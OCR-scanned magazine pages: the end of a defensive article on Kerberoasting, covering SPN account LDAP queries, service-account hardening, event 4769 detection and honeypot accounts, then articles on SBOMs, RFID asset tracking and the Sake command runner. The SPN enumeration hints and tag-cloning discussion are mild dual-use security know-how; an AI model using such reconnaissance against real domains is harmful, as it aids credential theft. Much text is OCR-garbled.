privileged groups, add (adminCount=1)
to the filter after (servicePrincipal-
Name=*). The resulting LDAP filter can
be enabled with either of the follow-
ing commands:

Get-ADUser -LDAPFilter <Filter>
Get-ADObject -LDAPFilter <Filter>

You can also use it with the LDAP
browser of your choice or with
command-line search tools such as
adfind [3] or dsquery [4].

Mitigating Attacks

The Kerberoasting vector is attribut-

able to Kerberos functionality; you

will not be able to harden your Ac-
tive Directory with configuration

settings that make Kerberoasting im-

possible. However, you are not pow-

erless. You will want your defense
not to focus exclusively on making
the attacks more difficult, but also
to limit any consequential damage,
making the Kerberoasting technique
expensive for the attacker to carry
out as well as unattractive in terms
of the results.

If an attacker manages to obtain a

ticket-granting service (TGS) for a

service account from the domain con-

troller, you can reduce the attractive-
ness of this yield in three ways:

1. Use the longest possible passwords
for service accounts to make crack-
ing the hash as difficult as possible.
Because the password for service
accounts does not usually have
to be typed in, character by char-
acter, but rather transferred with
copy and paste, it can be long and
complex.

2. Change the passwords of the ser-
vice accounts regularly to shorten
the time span in which the cap-
tured hash material can be used. If
the lifetime of passwords is shorter
than the estimated time required
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to crack the hashes, the plaintext
password is theoretically secure.
For services that do not need to be
available 100 percent of the time
and can tolerate an occasional re-
start, you can reset the password
quite frequently in a script. If sup-
ported by the respective applica-
tion, gMSA [5], which changes
your password automatically, is the
best bet. By default, this happens
every 30 days, but you can set the
permanence of the password to

a different value when creating a
gMSA - and only at this time.

3. Rigorously restrict the login op-
tions and authorizations of the
SPN-protected service accounts
(Figure 1). Although not necessary
to operate SQL servers, SQL server
service accounts are often provided
with administrative authoriza-
tions on the machines in question.
Very often, service accounts are
even members of highly privileged
groups such as domain admins.
Adhere to the least privilege prin-
ciple when assigning rights.

If you use systems at the perimeter

of your network that recognize and

prevent data extraction, you will want
to check whether you can enable
rules there that respond to service
tickets as payload. However, this op-
tion should only be viewed as an
additional safety measure. You can
assume that extraction will probably
succeed, because the tickets are rela-
tively small; they can be integrated
into most exfiltration methods - for

. SECURITY Kerberoasting Protection

example, DNS and Online Certificate
Status Protocol (OCSP), but also
HTTP, FTP, or email.

You have several options for restrict-
ing the login capability of a service
account, such as the old-fashioned
Login to... button in AD user manage-
ment, which is equivalent to the log-
onWorkstation attribute. However, you
can also use group policies to deny
service account logins. Multifactor
authentication, which is so effective
for regular user accounts, cannot be
used for service accounts for obvi-
ous reasons. The login restrictions
also help prevent overpass-the-hash
and pass-the-key attacks, but provide
no protection against classic pass-
the-hash attacks if the compromised
service account has authorizations
for resources that still accept NT LAN
Manager (NTLM).

In many application scenarios you
have a very effective way of severely
restricting Kerberoasting right at the
source, although you will very rarely
see it used in production environ-
ments. With the authentication poli-
cies introduced in Windows Server
2012 R2, you can specify which
accounts are generally allowed to
request a service ticket for a specific
service principal and define the com-
puters on which this is permitted.
For example, if the database uses the
SVCSQL account and the application
layer uses the SVCAPP account in a
three-tier application, your maximum
protection against Kerberoasting
might be:

e o pas Wahve
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Figure 1: Use authentication policies to prevent issuing a TGS.
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B SVCSQL created as a gMSA, with
the restriction that only the actual
SQL servers are allowed to read the
password.

B An SVCSQL account assigned an
authentication policy that only al-
lows a group named SQL Access to
request service tickets; the group
includes the regular service ac-
count SVCAPP and the database
administrators. Service tickets
can only be issued for requests
that come either from the applica-
tion servers or from the admin
workstations.

B SVCAPP subject to login restrictions
so that only the application servers
can use this account to log in.

B The two service accounts with
only the authorizations they abso-
lutely need to run SQL or the ap-
plication layer.

B An SVCAPP account with a match-
ing authentication policy if the
front end of the application that
does not need to be available to
everyone in the organization, but
only to very specific users and
clients.

These strategies massively limit the

opportunities for obtaining a service

ticket for Kerberoasting and the
usefulness of that ticket from an at-
tacker’s point of view. Additionally,
always make sure only those users
and groups in your environment
who actually need it (i.e., only the

Tier 0 administrators, if in doubt)

have the right to describe the servi-

cePrincipalName attribute; otherwise,
an attacker could make a privileged
account they are targeting vulner-
able to Kerberoasting by assigning it
an SPN.

Detecting Kerberoasting

Both the service ticket request and
the subsequent use of the (cracked)
password are completely normal
processes in Active Directory, which
makes it very difficult to detect Ker-
beroasting. You can only detect the
initial exploration with either very ad-
vanced AD monitoring that analyzes
LDAP queries or by turning up AD
logging to such an extent that every
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[@] Event Propesties - Event 4769, Microsoft Windows security auditing.

General  Details

% | nothing to do
with the service
in question, and

A Kerberos service ticket was requested.

Account

Task Category:  Kerberos Service Ticket Operations

TA220C01 ita22.metabpa.org

Log Name: Security

Source: Microsoft Windows security Logged: 47172024 11:50:29 AM
Event ID: 4768

Levek Information Keywords: Audit Success

User: N/A Computer:

OpCode: Info

More inf :  Event Log Online Help

the like. Without

Account Name: [ B T2 METAGPA ORG | comprehensive

Account Demain: T s ‘ . .

Logen GUID: {TB04f73¢c-8820-4528-0eB83-8eB0c2 Taddbe) security informa-

service tion and event

Service Name: vesgl

Service ID: TA22\sve.sql management
(SIEM) and
security admin-

L istrators who

are confident in
their use of the
SIEM environ-
ment’s search
and filter engine,
preventing Ker-
beroasting is an

Figure 2: Event 4769 contains full details of issuing the TGS.

LDAP query is recorded and then sift-
ing through the resulting event logs.
However, the latter approach requires
logging to be raised beyond the debug
level to the field engineering level,
which causes a huge number of log
entries and has a negative effect on
the performance of your DCs.

The ticket request process is far more
interesting as a monitoring target. If
the monitoring policy Audit Kerberos
Service Ticket Operations is enabled
for Success, an ID 4769 event is gener-
ated in the Security event log of the
domain controller addressed. If you
evaluate these events, you can detect,
say, users who have nothing to do
with the addressed service but have
requested and received a ticket for this
service, or find out when encryption
with the RC4 hash was used, although
you want all components to use AES.
An above-average frequency of service
ticket requests by the same user can
also be an indication of Kerberoasting.
The coding of the encryption types
used in the ticket is documented on-
line [6] and differs from the conven-
tion used in the AD msDS-SupportedEn-
cryptionTypes attribute.

Tracing the use of the captured login
data might also be possible with audit
events. Just as with the ticket request,
you need to look for anomalies - ser-
vice accounts logging in from client
computers, use of RC4, access by ser-
vice accounts to resources that have
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almost hopeless

endeavor.

Another way of detecting Ker-

beroasting at an early stage is a

service account honeypot. Because

the attacker is unable at first glance
to distinguish a genuine produc-
tion account from a created account
specifically without production use,
they will discover the account dur-
ing the reconnaissance phase and
try to hijack it. You will want to
change this account’s password at
least once and then log in with the
account to make it look as if it has
been used in the past. When creat-
ing the honeypot, stick to the nam-
ing conventions applicable in your

AD. You can also set adminCount=1

for this account without adding it

to a privileged group. The Honeypot
account can help you identify Ker-
beroasting in two ways:

B Event 4769 tells you that a service
ticket has been issued for Ker-
beroasting (Figure 2), but to deter-
mine this, you need to monitor the
security event log constantly.

B If you give the honeypot account a
fairly simple and short password,
Kerberoasting will succeed and
the attacker will use the account
to log in. Monitor the attributes of
the AD object related to the logon
(TastLogon, TastLogonTimestanmp,
badPudTime) to detect any use of
this account. Although this check
requires significantly less overhead
than log-based monitoring, you

still have to do the work on all do-
main controllers.

Conclusions

When it comes to Kerberoasting, it is
easier for you as part of the defense
team to make the attack uneconomi-
cal for the attacker than to prevent it
through configuration or to discover
successful execution after the event.
The recommendation is therefore to
restrict the use of conventional service
accounts and limit their authoriza-
tions, including the ability to log in.
Enforcing AES encryption and the use
of long passwords, which are changed
regularly and preferably automatically,
makes Kerberoasting an unattractive
proposition for attackers. [ |
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Security and automation with SBOMs

Unboxing

. SECURITY Security with SBOMs

Already mandatory in the United States and recently approved in Europe thanks to new legislation, a software
bill of materials provides information about software components, enabling IT managers to respond better to
attacks and vulnerabilities. sy Martin kuppinger

In recent years, the software supply
chains at SolarWinds and Kaseya,
among others, have been targeted,
along with identified vulnerabilities in
widely used open source libraries, in-
cluding Heartbleed in 2014, a vulner-
ability in OpenSSL, and Log4j in 2021.
In both cases, innumerable systems
were affected.

Back in May 2021, the United States
introduced an obligation to provide

a software bill of materials (SBOM)
in a Presidential Executive Order on
Improving the Nation’s Cybersecu-
rity [1]. The European Parliament
recently adopted (March 2024) the
Cyber Resilience Act (CRA), which
also calls for an SBOM [2].

The need for action by all compa-
nies that produce and distribute
software as a standalone product or
as part of products such as electri-
cal appliances or machines is real.
At the same time, the SBOM offers
every company the opportunity to
better understand and manage the
attack surface and respond more
quickly to threats.

ADMIN 81

Software Bill of Materials

The vast majority of modern software
is no longer coded from scratch and
then compiled; rather, it makes ex-
tensive use of standard libraries such
as those already mentioned or frame-
works such as OpenSSL or Log4j,
which provide functions such as SSL/
TLS encryption or logging. A very
large proportion of these libraries are
open source and freely available. In
addition to the basic libraries, other
services are also used in software,
whether in technical goods, as stand-
alone applications, or in the form of
cloud services. For cloud applications
in particular, these are typically plat-
forms as a service (PaaS), from data-
bases to artificial intelligence (AI).
Today’s reality is characterized by
complex, multilayered software
from a variety of sources, which
creates the challenge, thus far dif-
ficult to understand, as to what
exactly a piece of software contains
and whether your company is af-
fected by a new vulnerability. In

the production of physical goods,
the bill of materials (BOM) lists the
products used to create a product.
In the event of faults in a specific
component of a product, a BOM
makes it is easier to find the parts it
contains and rectify the faults.

An SBOM aims to do the same thing
for software by providing well-
defined and complete information
about the “software in the soft-
ware,” enabling companies quickly
to identify software and services

in use that are potentially affected
by a vulnerability (e.g., in an open
source library). In turn, targeted
countermeasures can be introduced
far more quickly.

Supply Chain Attack
Scenarios H

The various threats that have affected
many companies by way of software
supply chains in recent years can be
broken down into four groups (with
the fourth only being included here in
a broad sense):
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B Vulnerabilities in standard libraries
B Vulnerabilities in third-party soft-
ware components
B Infection of commercial off-the-
shelf software (COTS) to attack its
users
B Attacks on cloud services and their
tenants
The vulnerabilities in OpenSSL and
Log4j are examples of the first group.
When vulnerabilities arise in stan-
dard libraries and frameworks, a large
number of software products and their
users are typically affected — possibly
millions of affected systems. One major
difference is that patches from com-
mercial providers such as Microsoft are
automatically provided to the affected
systems, which allows for automated
installation. This process sometimes
takes place later than desired by the IT
manager, and not everyone uses the au-
tomatic installation process. However,
two important aspects are (1) that it is
known which systems are affected and
(2) that automatic patch deployment
and installation is possible.
Of course, patches are also developed
and made available for open source
components as soon as vulnerabilities
are identified. The challenge, how-
ever, is that IT managers do not have
the described automations for the af-
fected systems and often do not know
which components are being used.
A second factor is that the vast
majority of today’s commercial soft-
ware products and cloud services
contain third-party software com-
ponents in addition to open source
components. This fact also applies
to Microsoft, for example, which
uses free software in many areas
of its products and cloud services.
Dashboards are another example:
Who knows on what technical basis
they are based in a piece of software
or cloud service? You can be fairly
certain that the provider did not de-
velop the functionality underlying a
dashboard for displaying diagrams,
but that a different solution was
used that could in turn rely on other
components, including open source
libraries and frameworks. Vulner-
abilities in third-party software com-
ponents and services also represent

[WWW.ADMIN-MAGAZINE.COM

Security with SBOMs SECURITY .

a software supply chain risk. The
SBOM is again intended to provide
insights here.

The third case (e.g., scenarios such
as the aforementioned incidents at
SolarWinds and Kaseya) is a little
different. The SolarWinds and Kas-
eya attackers used widespread soft-
ware to open a door to the develop-
ers’ customers. The main difference
is that an attack was initiated by
provisioning the software (i.e., along
the software supply chain); however,
in this case the infected software was
no longer part of other applications,
but the end product on the customer
side. Of course, attacks by deliber-
ately implemented vulnerabilities in
standard libraries and frameworks
cannot be ruled out.

Compared with vulnerabilities in soft-
ware libraries and third-party prod-
ucts, the advantage in this scenario

is that a company is usually aware

it is using the software. On the other
hand, and especially if the attack is
carried out by management software
for IT infrastructures, the damage
may already have been done, and the
bad guy might already have access to
other systems before such a vulner-
ability is discovered and the patches
are distributed.

The fourth case (e.g., the Microsoft
Exchange Server Data Breach in
2021) is about attackers success-
fully attacking a cloud service or
other critical systems and gaining
the opportunity to attack the clients
or customers of such services. Even
if the problem is similar, it is not a
software supply chain attack in the
narrower sense, because the attack
does not target the supply chain of
basic components through Paas$ ser-
vices, for example, to the finished
cloud service but targets the supplied
cloud application and its users.

A Path to Cyber Resilience

All scenarios clearly show the com-
plex challenge posed by today’s
software production methods. Just

as cars are created by assembling in-
house parts and components such as
brakes from suppliers that are often of

critical importance, software, whether
in its traditional form or as a cloud
service, is now typically a combina-
tion of in-house code and compo-
nents from the open source sector
and third-party providers.

Whereas some parts of a car, at most,
cause functional errors, every single
component of software is critical
because it not only provides func-
tionality, but can also be targeted.
Some components (e.g., OpenSSL and
secure communication) are more sen-
sitive than others, but ultimately each
poses a risk.

Regulation

Various events have led to this

cyber risk now being recognized.
Various US governmental agencies
had already begun work on SBOM
solutions as a joint project in 2018,
including the US National Telecom-
munications and Information Admin-
istration (NTIA) coordinating with
the Cybersecurity and Infrastructure
Security Agency (CISA) [3] and the
National Institute of Standards and
Technology (NIST).

Section 4 of the US President’s Execu-
tive Order made enhancing software
supply chain security mandatory
with a comparatively short transition
period. SBOMs are part of these re-
quirements, but they also generically
include the requirement to improve
secure software development pro-
cesses (i.e., secure development life-
cycle, SDLC; Figure 1).

The Cyber Resilience Act recently
adopted by the European Parliament
for the European Union (EU) deals
specifically with the technical imple-
mentation of SBOMs, which are now a
mandatory element of technical prod-
uct documentation and whose format
the EU has the right to define (and
update). The links at the end of this
article point readers to all the key regu-
lations and standards. The differing ap-
proaches also define when and in what
form information must be provided
and at what level of detail, which in-
volves striking a balance between pro-
tection against cyber threats and the
protection of intellectual property.
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For example, the ingredients generally
listed on food packaging only men-
tions artificial flavors, but not the in-
dividual flavors and their proportions,
S0 as not to give away the recipe to the
competition. In the same way, SBOMs
are also about finding a balance. An
important element is therefore also
the communication of weak points by
manufacturers. The Common Vulner-
abilities and Exposures (CVE) system
forms the basis for reporting vulner-
abilities in a defined format and with a
uniform criticality assessment accord-
ing to the Common Vulnerability Scor-
ing System (CVSS) standard.

Interoperability and
Automation

SBOM:s are a challenge for both soft-
ware creators and users, given the
variety and complexity of software
in use today, including for the Inter-
net of Things (IoT) and machines.
Machines have the additional task
of analyzing information about new
vulnerabilities to determine whether
they are affected and ultimately initi-
ate countermeasures as required.
This undertaking requires automation
functions for quick and purposeful
identification of both information on

. SECURITY Security with SBOMs

what is not affected and the systems
and objects at risk.

Standards have now being developed
and established in various areas, ini-
tially for the format of SBOMs. The
German Federal Office for Informa-
tion Security (BSI) guideline TR-03813
stipulates that the SBOM must be
available as CycloneDX version 1.4 or
higher or use the Software Package
Data Exchange (SPDX) standard ver-
sion 2.3 or newer. The US Executive
Order acknowledges the SPDX and
CycloneDX formats, as well as soft-
ware identification (SWID) tagging.
The NTIA describes the minimum
elements required for an SBOM [4].
These internationally established
formats enable the exchangeability of
SBOM information.

A second area concerns the exchange
of information about vulnerabilities,
with the focus on Vulnerability Ex-
ploitability eXchange (VEX), which
was developed by the NTIA. VEX is
implemented as a profile in the Com-
mon Security Advisory Framework
(CASF) of OASIS Open and is sup-
ported by CycloneDX [5] as part of its
comprehensive SBOM framework.
Two ISO standards, ISO/IEC 5230:2020
[6]1 and ISO/IEC 5962:2021 [7], which
deal with and standardize OpenChain

Company A Company B
(n-1) (n)
Library 1 ||,
: :.'_"f; Library 2
Software 1 °*°"

Software 2

Company C

(n)

Company D
(n+1)

\ Software 3

7
-

Figure 1: The software development life cycle and the creation of SBOMs.
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and the SPDX data exchange format,

respectively, should also be mentioned.
OpenChain is specifically about SBOM

in the open source environment.

Better Security Management

A higher degree of clarity about the
components contained in applications
through SBOM also improves the pos-
sibilities for attack surface manage-
ment (ASM). The aim is to determine
systematically which surfaces of an
organization can be exploited for
cyberattacks. ASM includes many dif-
ferent elements of threat analysis and
concrete testing for vulnerabilities
and their elimination.

Vulnerabilities that arise directly

in applications developed in-house
or indirectly through open source
components or third-party software
and cloud services are a central ele-
ment of a comprehensive ASM. This
process includes risk assessment and
the continuous monitoring of new
information such as CVEs to enable
response to new potential threats.
However, ASM can also benefit
greatly from SBOMs because of the
greater and faster clarity as to
whether a specific threat exists, ul-
timately resulting in a reduction in
risks because companies can take
targeted action. Until now, however,
the situation had been uncertain be-
cause of a lack of information about
whether an app or a cloud service
was affected by a newly discovered
critical vulnerability. However, un-
certainty prevents targeted action or
requires considerable effort to clarify
the status. SBOMs will fundamen-
tally improve this situation while
also optimizing incident response
management.

When Log4j emerged, for example,
even very large companies with
strong cybersecurity teams initially
had to spend a great deal of time
identifying which of the applications
in use were potentially affected. As

a consequence, the window of op-
portunity for attackers was longer
because IT managers could not act
immediately and patch, isolate, or
shut down affected systems. In these
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cases, SBOMs can achieve massive
improvements in conjunction with
improved and automated vulnerabil-
ity exchange (VEX) and automation
for IT infrastructure and software as-
set management, as well as for patch
management.

Information about a vulnerability, its
severity, and the extent to which soft-
ware and services are affected can be
processed automatically so that infor-
mation about the affected systems is
available. This information is in turn
used to initiate automatic counter-
measures. Ideally, such a process can
be fully automated, partly because
standards for exchanging the relevant
information already exist.

Conclusions

SBOMs are an important strategy
whose implementation is man-
dated by regulatory requirements.

Security with SBOMs SECURITY .

However, they also offer great
potential for improving processes
for secure software development
and increasing cyber resilience, in
particular through automation in
conjunction with the tools presented
here, such as IT asset management,
patch management, and others. The
regulatory requirements alone force
companies to act and do not just ap-
ply to software companies, but to all
areas in which software is part of a
product - for example, the firmware.
Companies need to address SBOM
and its implications now and should
leverage its potential to optimize
processes and improve integration
between software development and

[pttps://www.whitehouse.qgov/briefing]
room/presidential-actions/2021/05/12/
xecutive-order-on-improving-the-nations{
Evbersecurity]]

[2] EU Cyber Resilience Act:
[pttps://www.europarl.europa.eu/doceo/]

focument/TA-9-2024-0130 EN.html#titled]
[3] CISA on SBOM:

[pttps://www.cisa.qov/sbom]

[4] NTIA minimum elements for an SBOM:
[pttps://www.ntia.doc.gov/files/ntia/
publications/sbom minimum_elements
Feport.pdf]

[S1 OWASP CycloneDX:
[https://cyclonedx.org]

[6] 1SO/IEC 5230:2020:

[pttps://www.iso.org/standard/81039.html]
[71 ISO/IEC 5962:2021:

cybersecurity. ] [pttps://www.iso.org/standard/81870.html]
Info Author

[11 US Executive Order on Improving the
Nation's Cybersecurity:

Martin Kuppinger is the founder of and Principal
Analyst at KuppingerCole Analysts AG.

Get HPC

Tune in to the HPC Update newsletter for
news, views, and real-world technical
articles on high-performance compufing>

Substribe free '

Update every month!
HPCUPDATE

September 12, 2023

Issue 176

This Month's Feature

Where Does Job Output Go?
By Jeff Layton
. Where does your job data go? The answer is fairly
) o i straightforward, but Jeff evolves the question fo include
-';'“ r a discussion of where data “should” or “could” go

bitly/HPC-ADMIN-Update

e * RIKEN Brings Al to Quantum Error Correction

News and Resources

ons Are Open for ISC

Magic with MathLex

—



https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/
https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/
https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/
https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/
https://www.europarl.europa.eu/doceo/document/TA-9-2024-0130_EN.html#title2
https://www.europarl.europa.eu/doceo/document/TA-9-2024-0130_EN.html#title2
https://www.cisa.gov/sbom
https://www.ntia.doc.gov/files/ntia/publications/sbom_minimum_elements_report.pdf
https://www.ntia.doc.gov/files/ntia/publications/sbom_minimum_elements_report.pdf
https://www.ntia.doc.gov/files/ntia/publications/sbom_minimum_elements_report.pdf
https://cyclonedx.org
https://www.iso.org/standard/81039.html
https://www.iso.org/standard/81870.html

70

Manually typing in device IDs for
asset tracking can quickly become a
major chore in large environments.
Automated entry with a radio fre-
quency identification (RFID) system
saves valuable time compared with
barcode and other traditional meth-
ods, but it comes with its own prob-
lems. In this article, I look at various
tech-based approaches to RFID asset
tracking in the IT environment. Af-
ter doing so, I turn my attention to
sample implementations and software
and some potential security concerns.

Break It Down

The first question related to asset
tracking with an RFID system is

the type of transponder to be used.
The energy source built into active
tags enables longer ranges, and the
reader supplies energy to passive
tags. However, the battery in the
tags requires maintenance, which
can mean some additional work,
especially if you have a large num-
ber of tags; after a while, the results
can be unreliable. Also don’t forget
that button cells are a substantial
cost factor and have an environ-
mental impact. From a total cost of
ownership perspective in particular,
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RFID technoloqles and risks

ontac

We look at various approaches to RFID asset tracking, provide an
understanding of the technologies and challenges involved, and

cover some of the potential attack vectors. sy Tam Hanna

passive tags are almost always pref-
erable to their active counterparts in
tracking scenarios.

The next question concerns the com-
munication frequency - the reader
and tags must transmit in the same
frequency range to work together
successfully. Candidate 1 is low-
frequency systems that operate at
between 120 and 140KHz. Product or
card family 2 is near-field communi-
cation (NFC) cards, which operate in
the frequency range of 13.56MHz and
achieve ranges of around 50cm. Fi-
nally, ultrahigh frequency (UHF) sys-
tems normally reside in the frequency
range between 869 and 915MHz and
offer a very long range.

Several factors must be taken into ac-
count when selecting the frequency.
First, especially in companies with an
industrial background, you need to
ask the transmitter technology people
which frequencies other devices use.
If you fail to do this, interference can
drown out any NFC communication.
Second, having more range is not
always an advantage. Readers auto-
matically report the presence of a tag,
but if, say, two buses with long-range
tags are parked next to each other,
you can’t reliably say which vehicle
contains the device.

Incidentally, AirTags rely on a com-
pletely different system. They are not
based on RFID technology but use
Bluetooth Low Energy (BLE). The
data is captured by nearby iPhones,
which record the tags and transmit
their location to the cloud. The prob-
lems include high costs (~ $29/£35/
EUR25 per unit) and the limited ser-
vice life of the battery.

RFID Tag Formats

In addition to deciding on a working
frequency, it is important to choose
the correct presentation format. At
best, employing the wrong transpon-
der will lead to problems with range;
at worst, you could run into security
problems. The most widespread
format is the “tag sticker” normally
supplied with an adhesive film on the
back for adhering to an object (Fig-
ure 1). The stickers are available from
various suppliers all over the world.
Particularly in the case of inexpensive
tags, if you stick them to metallic sur-
faces such as workstation housings,
youw’ll experience frequency range-
dependent attenuation; in the worst
case the range is reduced to a few
centimeters. RFID blockers, which are
included in higher priced wallets, are
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Figure 1: A stick-on RFID tag houses some very complex technology.

a good example. However, you can
now also find labels that can be at-
tached to a more robust surface and
do not react sensitively when stuck to
metallic substrates.

Many RFID tags are printable. RFID
chip card providers levy a price for
this service with margins often in the
region of several hundred percent.
Particularly for larger companies, it
might make sense to purchase your
own label printer to prints cards with
information such as the system type.
Industry standard DIN/ISO 69873 is
important in the computer numerical
control (CNC) sector. It specifies bar-
rel-shaped RFID chips that are inter-
nally equipped with an isolator. The
advantage of this architecture is that
such systems can be easily accommo-
dated in metallic devices - you just
need to locate the sensor in the (pre-
fabricated) groove. Unfortunately, ad-
ministrators very rarely come across
these slots. Unlike suppliers of CNC
tools, computer manufacturers are
not prepared for RFID tracking.

On the other hand - especially if a
3D printer and some double-sided ad-
hesive tape are available - you could
make a housing and place it in the
systems (somewhere well hidden).
This approach makes it more difficult
for attackers to remove the tags and
nips a common vulnerability of RFID
systems in the bud. The key fobs
shown in Figure 2 are particularly
helpful when tracking workstations.

WWW.ADMIN-MAGAZINE.COM

important role
when consider-
ing RFID-based systems. The most
important point is that the decision
for or against RFID can only be part
of the overall decision. If a company
is already using an asset tracking
system, changing over for the sole
reason of adding RFID technology
will typically fail to boost user satis-
faction. In a company with an asset
management system, your first step
should be to find out whether the
existing provider uses an interface for
RFID technology and what costs can
be expected.

A second approach would involve the
use of a handheld scanner that trans-
mits the RFID tag data by emulating
a USB human

In general, providers precisely
define the hardware they require
their customers to use. The use of
third-party products is not recom-
mended; otherwise, problems can
lead to denial of responsibility. In
the case of EZOfficelnventory [1],
for example, the iPhone application
opens the connection to the scan-
ner. The assets are recorded in bulk
and can then be managed in groups
and posted or reposted. Because

of the focus on the US market,
support for Android is described

as a “future feature” and was not
available at press time. It will be of
little surprise to most people in IT
that purchasing and maintaining
iPhones involves considerable costs.
(See also the “QR Codes and Smart-
phones” box.)

WiseTrack [3] deals with the man-
agement of tools or equipment lo-
cated in fire stations, which results
in a broader approach: The com-
pany advertises on its website that
it actively supports third-party RFID

. QR Codes and Smartphones

An interesting alternative is the Shelf
system [2], which does not use RFID. The
product lets you print QR codes that are
scanned by a smartphone. The system also
records GPS position data provided by the
smartphone, creating a geographic history
of the asset in the process.

interface device
(HID). Readers
of this type simu-
late keyboard
input; to scan,
users first click
on the input box
of the program
they use and
then tap the tag
with the reader.
This procedure
might lack
convenience,
because it in-
volves changing
the user device,
but in practice it

works without

any problems. to track devices.

Figure 2: Tag fobs not only work on key rings, but can also be used
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tags and therefore does not force
the administrator to purchase Wise-
Track’s own tags. The company also
offers various RFID scanners with
very long ranges to enable “per-
manent location fixing” of assets.

I am still looking at the associated
problems in relation to bring your
own device (BYOD) and home office
applications.

A thorough field test that deter-
mines how good a fit the system is
for the existing corporate culture is
required before a final decision can
be made. Note that asset tracking
creates deep ties with the provider,
which is why differences in corpo-
rate culture are relevant and the de-
cision should not be based solely on
technical parameters. Some provid-
ers only offer cloud software, which
is annoying, although in-house op-
eration offers benefits from a data
protection perspective.

No Real Theft Protection

Although shoplifters have been ap-
prehended when trying to leave a
store with RFID-protected items,

this approach is not very effective in
an IT environment for two reasons.
First, attackers targeting IT systems
are more skilled than their counter-
parts looking for perfume, coffee, and
other goods. The attackers’ technical
knowledge means you can expect
some opposition.

The COVID-19 pandemic made the
BYOD and home office phenomenon
an issue. RFID scanners are triggered
by every label that comes within
their range. If a developer takes their
oscilloscope or workstation home,
plant security is contacted. In theory,
it is possible to use a self-built
“smart scanner” that compares tag
information with a database before
triggering an alarm and excludes
portable products from detection.
RFID systems are vulnerable through
various attack vectors, such as the
hardware or wireless interface. The
most common type of attack on a
transponder involves destroying the
transponder, which is intended by
the manufacturers; however, cashiers
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would not be expected to remove ev-
ery tag by hand.

Electronic destruction is specified in
industry standards ISO/IEC 14443
and ISO/IEC 15693, which takes ad-
vantage of the fact that a strong field
bakes the regulator intended for the
power supply - to put it simply - by
overloading it. The RFID transpon-
der is then unable to absorb energy
from the reader and remains silent.
Because of various industry stan-
dards, other electronic components
such as computers and the like can
easily withstand the specified field
strengths.

The second problem relates to clon-
ing RFID tags. Dumb ROM tags that
respond to requests from the reader
with a (programmed) serial number
are easy to replicate. If a rewritable
tag is used, the attacker can edit the
information contained in the tag di-
rectly. One countermeasure involves
the use of intelligent transponders
that cryptographically sign incoming
or outgoing information in a chal-
lenge-response procedure.

Although attacks on the transpon-
der system are made more difficult,
deploying this setup involves sig-
nificant increases in the cost of tags
and readers. The extent of resilience
measures, it follows, is driven by the
intended use of the RFID system. If
you use your labels to list the serv-
ers in a room, do not resort to cryp-
tographic trickery in the interest of
lowering costs and easing system
administration.

The German Federal Office for Infor-
mation Security (BSI) has responded
to this trend by publishing a family
of standards [4] that includes secu-
rity criteria optimized for different
scenarios; the US National Institute
of Standards and Technology (NIST)
has published guidelines for the
use of RFID technology, as well [5].
Finally, do not forget that RFID
systems sometimes generate track-
ing information that is problematic
with a view to the European Union
General Data Protection Regulation
(GDPR) or personnel agreements
(monitoring). In large companies,
administrators are strongly advised

to consult with the legal department
before deployment.

Conclusions

When rolling out an RFID-based as-
set tracking system, it is important
to consider the specifics of your
environment. A decision for or
against RFID should never be based
on technical parameters alone. The
willingness of employees and man-
agement to support the use of RFID
tags is of fundamental importance
for successful deployment. This
article does not provide a complete
description of the technology for
space reasons. The RFID manual by
Klaus Finkenzeller [6] is the ideal
companion for people with previous
knowledge of electronics.

Info

[1] EZOfficelnventory:
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Ansible is usually the choice when you want to run a task on multiple servers; however, Sake, a lesser known
command runner, might do better if your server fleet is large and the tasks to run are simple. sy Rubén Liorente

Chances are that any system admin-
istrator who governs a meaningful
number or servers uses a configu-
ration manager of some sort. Just
imagine upgrading the kernel on 20
identical virtual machines manually -
you just wouldn’t do it. Instead, you
run a program that goes through the
hard work while you have a nice cup
of coffee.

Ansible, a popular software suite
written in Python and probably

the most popular tool for manag-
ing server fleets, is widely used to
provision software (i.e., install soft-
ware in servers) and configure your
deployed applications according to
required specifications. Because it is
an industry standard at this point,
aspiring system administrators are
likely to learn Ansible because it is
a marketable skill, even though it is
not the only tool available for server
management.

Sake is a command runner written
in Go and designed to run tasks on
multiple servers at once, allowing
you to upgrade your servers’ kernels
all at once, reboot them all at once,
or change their firewall configura-
tions all at once with just a single
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command. Its advantages are its small
size and appealing performance,
which make Sake a very lightweight
solution for automating tedious tasks.
Even more important is that configur-
ing Sake is extremely easy, even for
novices.

Getting Started

Say you have three Devuan hosts
called horse, donkey, and zebra. They

live under domain [operationalsecurity)
and you want to manage them
with Sake. As an example, I will show

- Known Problems with knoun_hosts

OpenSSH and some other SSH client pro-
grams store the verified SSH fingerprints
of your servers in file ~/.ssh/knoun_
hosts. The idea is that your SSH client

will check the keys of every server to
which you connect, verify they are in the
knoun_hosts list, and accept the keys only
if the server is listed. If the server is not
listed, the user is typically warned that the
server is not verified. The purpose of this
routine is to prevent man-in-the-middle
(MITM) attacks.

Sake uses the x/crypto/ssh Go package,
which is a bit quirky [3]. An issue | stum-
bled on when testing Sake is that it will only
check the server for ecdsa-sha2-nistp256

you how to create a task that up-
dates all the installed packages on
the three servers.

The first step is, obviously, to in-
stall Sake in your workstation. Like
Ansible, Sake is agentless and does

not require you to install any special

software in the servers: Grabbing a
recent Sake release [1] from GitHub
and installing it in your workstation
suffices.

If you are using Devuan (or an-
other Debian derivative) on your
workstation, you can install Sake
as root with

keys. Many of the servers in my knoun_host
file appear to be associated with keys that
are based on different algorithms (e.qg.,
RSA). Sake would ask my servers to authen-
ticate with ecdsa-sha2-nistp256 and check
the key against knoun_hosts. On finding

a key with a different algorithm, it would
register a mismatch and abort the con-
nection, despite the key registered in my
knoun_hosts being valid.

A suitable workaround is to populate a sepa-
rate knoun_host file with a script like that

in Listing 2 and then instruct Sake to verify
servers against that file instead of ~./.ssh/
knoun_hosts, which is what line 2 in Listing 1
accomplishes.

[ WwWw.ADMIN-MAGAZINE.COM|

Photo by Adrian Hartanto on Unsplash


http://operationalsecurity.es
http://operationalsecurity.es
http://WWW.ADMIN-MAGAZINE.COM

MANAGEMENT

Lightweight Automation

# apt update Once all your servers are set to allow
public key authentication and once
you have all their fingerprints regis-
